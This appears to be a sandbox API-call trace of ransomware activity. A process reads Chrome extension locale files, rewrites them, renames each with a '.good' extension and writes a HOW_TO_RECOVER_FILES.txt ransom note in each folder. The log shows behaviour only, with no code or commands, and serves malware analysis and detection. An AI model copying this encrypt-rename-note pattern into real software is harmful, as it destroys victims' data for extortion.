[0242.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0242.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", lpFilePart=0x0) returned 0x8c [0242.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0242.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.202] GetFileType (hFile=0x630) returned 0x1 [0242.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0242.202] GetFileType (hFile=0x630) returned 0x1 [0242.202] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xd2 [0242.202] ReadFile (in: hFile=0x630, lpBuffer=0x384fe80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x384fe80*, lpNumberOfBytesRead=0x209ebc98*=0xd2, lpOverlapped=0x0) returned 1 [0242.202] CloseHandle (hObject=0x630) returned 1 [0244.535] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", lpFilePart=0x0) returned 0x8c [0244.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.535] GetFileType (hFile=0x630) returned 0x1 [0244.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.535] GetFileType (hFile=0x630) returned 0x1 [0244.535] WriteFile (in: hFile=0x630, lpBuffer=0x3adb8d0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3adb8d0*, lpNumberOfBytesWritten=0x209ebba8*=0xe0, lpOverlapped=0x0) returned 1 [0244.536] CloseHandle (hObject=0x630) returned 1 [0244.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json", lpFilePart=0x0) returned 0x8c [0244.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0244.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0244.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8493144, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84930b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8df83f50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0244.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0244.536] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json.gоod")) returned 1 [0244.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0244.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0244.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0244.537] GetFileType (hFile=0x630) returned 0x1 [0244.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0244.538] GetFileType (hFile=0x630) returned 0x1 [0244.538] WriteFile (in: hFile=0x630, lpBuffer=0x3adf220*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3adf220*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0244.539] CloseHandle (hObject=0x630) returned 1 [0244.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl", lpFilePart=0x0) returned 0x7b [0244.539] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0244.540] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.549] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84a42bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a4222, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.549] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.549] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0244.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl", lpFilePart=0x0) returned 0x7b [0244.549] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0244.550] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe849cd83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a42bb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84a42bb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.550] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84a42bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a4222, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0244.550] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84a42bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a4222, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0244.550] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0244.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0244.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0244.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", lpFilePart=0x0) returned 0x89 [0244.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0244.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38fef28 | out: lpFileInformation=0x38fef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84a42bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a4222, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xac)) returned 1 [0244.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0244.551] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", lpFilePart=0x0) returned 0x89 [0244.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.551] GetFileType (hFile=0x630) returned 0x1 [0244.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.551] GetFileType (hFile=0x630) returned 0x1 [0244.551] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xac [0244.551] ReadFile (in: hFile=0x630, lpBuffer=0x38ff390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x38ff390*, lpNumberOfBytesRead=0x209ebc98*=0xac, lpOverlapped=0x0) returned 1 [0244.551] CloseHandle (hObject=0x630) returned 1 [0244.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", lpFilePart=0x0) returned 0x89 [0244.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0244.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0244.829] GetFileType (hFile=0x828) returned 0x1 [0244.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0244.829] GetFileType (hFile=0x828) returned 0x1 [0244.829] WriteFile (in: hFile=0x828, lpBuffer=0x3a0e988*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3a0e988*, lpNumberOfBytesWritten=0x209ebba8*=0xb0, lpOverlapped=0x0) returned 1 [0244.829] CloseHandle (hObject=0x828) returned 1 [0244.829] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json", lpFilePart=0x0) returned 0x89 [0244.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0244.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0244.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84a42bb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84a4222, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e258a15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0244.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0244.830] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.gоod")) returned 1 [0244.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0244.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0244.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.831] GetFileType (hFile=0x828) returned 0x1 [0244.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0244.831] GetFileType (hFile=0x828) returned 0x1 [0244.832] WriteFile (in: hFile=0x828, lpBuffer=0x3a122c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a122c0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0244.832] CloseHandle (hObject=0x828) returned 1 [0244.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0244.832] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu", lpFilePart=0x0) returned 0x7b [0244.832] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0244.833] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe84b7b41, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8cb7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84c8cb7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.833] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84c8cb7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84c8c12, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, 